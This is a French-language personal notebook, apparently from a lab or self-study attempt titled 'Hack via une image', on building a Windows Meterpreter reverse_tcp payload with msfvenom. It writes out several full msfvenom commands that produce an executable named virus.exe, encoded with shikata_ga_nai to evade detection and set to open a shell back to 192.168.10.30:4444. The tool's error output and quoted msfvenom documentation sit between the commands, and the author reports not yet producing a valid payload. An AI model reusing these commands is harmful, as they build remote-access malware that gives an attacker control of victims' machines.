Hack via une image

Création d'un shellcode:

msfvenom –p windows/Meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=192.168.10.30 LPORT=4444 -f exe > virus.exe

msfvenom demande de spécifier une architecture

msfvenom --help
msfvenom -a cmd –p windows/Meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=192.168.10.30 LPORT=4444 -f exe > virus.exe

On doit également spécifier une plateforme

msfvenom --list platforms
msfvenom --platform windows -a cmd –p windows/Meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=192.168.10.30 LPORT=4444 -f exe > virus.exe
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai chosen with final size 81
Payload size: 81 bytes
Error: The payload could not be generated, check options

Toujours pas la bonne commande

On regarde la doc officielle pour affiner les options.

How to generate a payload

To generate a payload, there are two flags that you must supply (-p and -f):

The -p flag: Specifies what payload to generate

To see what payloads are available from Framework, you can do:

./msfvenom -l payloads

The -p flag also supports “-“ as a way to accept a custom payload:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

The -f flag specifies the format of the payload

Syntax example:

./msfvenom -p windows/meterpreter/bind_tcp -f exe

To see what formats are supported, you can do the following to find out:

./msfvenom --help-formats

Typically, this is probably how you will use msfvenom:

$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

D'après la documentation, notre commande contient bien les attributs nécessaires pour la définition du payload a générer.

J'ai effectué plusieurs essais mais on arrive toujours à la même sortie d'erreur.

Je n'ai pour le monet pas réussi a générer un payload valide

Je continue à faire des recherches, et l'outil semble toujours développé. En cas de bloquage, j'essaierai avec un autre environnement.